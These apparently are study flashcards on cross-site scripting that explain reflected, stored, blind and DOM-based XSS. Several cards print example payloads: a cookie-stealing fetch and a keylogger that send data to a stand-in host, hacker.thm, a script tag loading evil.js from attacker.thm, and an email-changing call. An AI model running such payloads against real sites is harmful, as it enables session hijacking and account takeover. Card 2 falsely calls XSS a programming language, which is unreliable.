Cross-Site Scripting Flashcards

1
Q

What is Cross-Site Scripting?

A

Cross-Site Scripting is also known as XSS, is a type of injection attack where the attacker injects malicious javascript code into a web application thats meant to be executed by other users.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

What is XSS?

A

XSS is a programming language thats based off of Javascript.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

Whats an XSS payload?

A

A XSS payload is the java script that you wish to be executed by the target user

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

What are the 2 parts of an XSS payload?

A

The 2 parts of an XSS payload are The Intention and The Modification.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

What is the purpose of The Intention?

A

The Intention is what we actually want the javascript code to do.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

What is the purpose of The Modification?

A

These are the actual changes that we make to the javascript to make it execute.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

What are some examples of Intentions?

A

Some examples include: Proof of Concept, Session Stealing, Key Logging, and Business Logic

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

What is Proof of Concept?

A

This is the simplest form of payload where all your really doing is trying to confirm whether or not you can achieve XSS; normally this is done in the form of a pop with a message.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

What would a payload for Proof of Concept look like?

A
<script>
alert('XSS Payload');
</script>
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

What is Session Stealing?

A

Details of a users session such as login tokens are often kept in cookies on the target machine; there’s javascript code that can take those target cookies and encode them to ensure successful transmission and post it to a hacker controlled website to be logged.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

What does a payload for Session Stealing look like?

A
<script>
fetch('http://hacker.thm/steal?cookie= ' + btoa(document.cookie));
</script>
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

What is a Key Logger?

A

Anything that you type on a website with an established XSS, will be forwarded to a website under hackers control.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

What does the payload for a Key Logger look like?

A
<script>
document.onkeypress= function(e){fetch('https://hacker.thm/log?key=' + btoa(e.key));}
</script>
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

What is Business Logic?

A

This a much more specific form of XSS targeting mostly key staff in business positions, its basically just executing a JS function or network resource.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

Whats an example of Business Logic?

A

A Goode example to think about would be a JS function thats used for changing the users email address called user.changeEmail();

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

What would a payload for this actually look like?

A
<script>
user.changeEmail('attacker@hacker.thm');
</script>
17
Q

What is Reflected XSS?

A

Reflected XSS happens when user-supplied data is included in the webpage source without any validation.

18
Q

What’s an example of Reflected XSS?

A

Say the user inserts an incorrect input into the website and an error message is displayed. If you check the source code on the error, you’ll find that it was constructed differently. Now say that the application doesn’t check the contents of the error parameter, allowing the attacker to insert malicious code into the error.

19
Q

Can you write an example of this in practice?

A

<div>
<p>'Invalid Input'</p>
</div>

after injection:

<div>
<p><script src=https://attacker.thm/evil.js></script></p>
</div>

Simply remove the contents of the <p> tag and replace it with it XSS script.

20
Q

What is Stored XSS?

A

As the name suggest, the XSS payload is stored on the web application(in a database for example) and then gets executed only after anther users visits the application.

21
Q

What is Blind XSS?

A

Blind XSS is basically the same as Stored XSS, being that it’s stored on a web application for another user to view, however in this instance you won’t be able to see the payload work or test to see if it works.

22
Q

Whats an example of Blind XSS?

A

Let’s say a website has a contact form where you can message a member of staff; often times these messages that you send to staff aren’t checked for malicious code, which allows the attacker to enter in anything that they want. These messages will then get turned into support tickets.

23
Q

What does DOM stand for and mean?

A

DOM stands for Document Object Model and is a programming interface for HTML and XML documents. Through this a webpage can become a document, and that document can be viewed on a browser or open source HTML.

23
Q

What is DOM Based XSS?

A

DOM Based XSS is where the javascript execution happens directly in the browser without any new pages being loaded or data submitted by backend code.

23
Q

Whats an example of Stored XSS?

A

Look at a blog website or any other site that allows its user to submit comments, unfortunately a lot of these applications won’t filter the user submitted comments for malicious code. These comments will be saved on the sites database and then run when other users view the comment or visit the site.

23
Q

What are the consequences of this on the user?

A

The biggest issue here is that its possible for the attacker to end up hijacking the staff members session.